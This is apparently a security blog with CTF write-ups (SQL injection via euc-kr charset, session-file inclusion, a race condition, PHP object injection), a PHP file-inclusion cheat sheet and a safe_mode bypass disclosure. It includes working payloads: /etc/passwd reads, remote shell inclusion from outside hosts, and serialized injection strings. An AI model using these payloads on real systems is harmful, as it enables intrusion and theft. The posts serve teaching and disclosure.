Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy 😉 The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them 🙂

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.


hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly 😉

Update: there is another writeup for this challenge in french available here


Exploiting PHP File Inclusion – Overview

February 22, 2010

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log

    Limited Local File Inclusion:

    <?php include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      ?file=../../../../../../../../../etc/passwd%00
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      ?file=../../../../../../../../../var/www/accounts/%00
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ […] ../../../../../etc/passwd
      (more details here)

    Basic Remote File Inclusion

    <?php include($_GET['file']); ?>
    • Including Remote Code:
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    • Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (requires allow_url_include=On)
    • Using XSS:
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)

    Limited Remote File Inclusion

    <?php include($_GET['file'] . ".htm"); ?>
    • ?file=https://websec.wordpress.com/shell
    • ?file=https://websec.wordpress.com/shell.txt?
    • ?file=https://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)

    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)

    Static Remote File Inclusion:

    <?php include("http://192.168.1.10/config.php"); ?>
    • Man In The Middle
      (lame indeed, but often forgotten)

    Filter evasion

    • Access files with wildcards (read more here)

    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.


FreeBSD directory listing with PHP file functions

November 28, 2009

Last week I shared a weird behavior of FreeBSD on sla.ckers.org about a directory listing with PHP file functions and Apache.

The following 3 PHP codes will output a garbled directory listing of the current directory:

echo file_get_contents("./");
$a=file("./");print_r($a);
readfile("./");

While those file functions should only return content of a valid file, its possible to get a directory listing under FreeBSD. So exploiting a vulnerable script like the following becomes far more easy for an attacker, because he does not have to know the names of the files he can retrieve.

download.php

<?php

$file = $_GET['file'];
echo file_get_contents("/var/www/files/".$file);

?>

#dirlist to see folders and files
download.php?file=../

#file disclosure of the found file “index.php”
download.php?file=../index.php

The directory listing only works for files in the webroot.

This behavior has been tested with the following configurations while PHP is running as root:
FreeBSD 6.4 + PHP 4.4.9 (thanks to beched)
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch 0.9.6.2
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch 0.9.6.2
FreeBSD 7.2 + PHP 5.2.10

I guess it has something to do with the weird BSD file system, but I dont know yet. At least this does not work on any other platforms like ubuntu or windows (I havent checked OpenBSD yet). If someone knows more about this strange dirlist please leave a comment =)

update:
As assumed this behavior relates to the unix file system (UFS) and should also work for NetBSD, OpenBSD and Solaris. Scipio wrote a script that will format the dirlist a bit more readable.


PHP safe_mode bypass

October 14, 2008

About 3 month ago I came across a bug while playing with PHP commands on command line. I was investigating a php execution vulnerability in one of the Cipher4 CTF services where an attacker could execute PHP commands remotely. To quickly fix the issue and not break the service I was going to turn the safe_mode=on for this particular call. For my testings I used the following options:

-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value ‘bar’
-r Run PHP without using script tags <?..?>

A local test on my windows box with PHP 4.4.1:

C:\Dokumente und Einstellungen\Reiners>php -n -d safe_mode=on -r “exec(‘calc’);”
The command “/calc” is either misspelled or could not be found.

Now the slash infront of the command was really confusing. It looks like all the safe_mode is doing to prevent the command being executed is to add a slash infront of the command. After playing a bit more I found out that this can be circumvented by adding a backslash infront of your command.

C:\Dokumente und Einstellungen\Reiners1>php -n -d safe_mode=on -r “exec(‘\calc’);”

Voila, the calculator pops up and we have successfully bypassed the safe_mode. This works with the latest Version of PHP 4 and PHP 5 and of course in webapplications too.

<?php exec('\calc'); ?>

Note, that for some reasons you will not get the error message at the latest versions, but the code is executed anyhow. Furthermore, this only works with the functions exec(), system() and passthru() and only on Windows! I havent stepped through all the PHP source, but it seems to me that this bug has something to do with the path seperator on windows and the call of escapeshellcmd() and can not be used on unix enviroments.
I have reported this issue 3 month ago by several emails and decided to post it at the bugsystem over here 1 month ago after I got no response. Until today, there was no response at the bugsystem too so I’m putting it on my tiny blog. Lets see what happens 😉

As it is well known anyway: don’t trust the PHP safe_mode.

Update:
Finally after about 1 year they patched this bug. Thanks to Stefan Esser!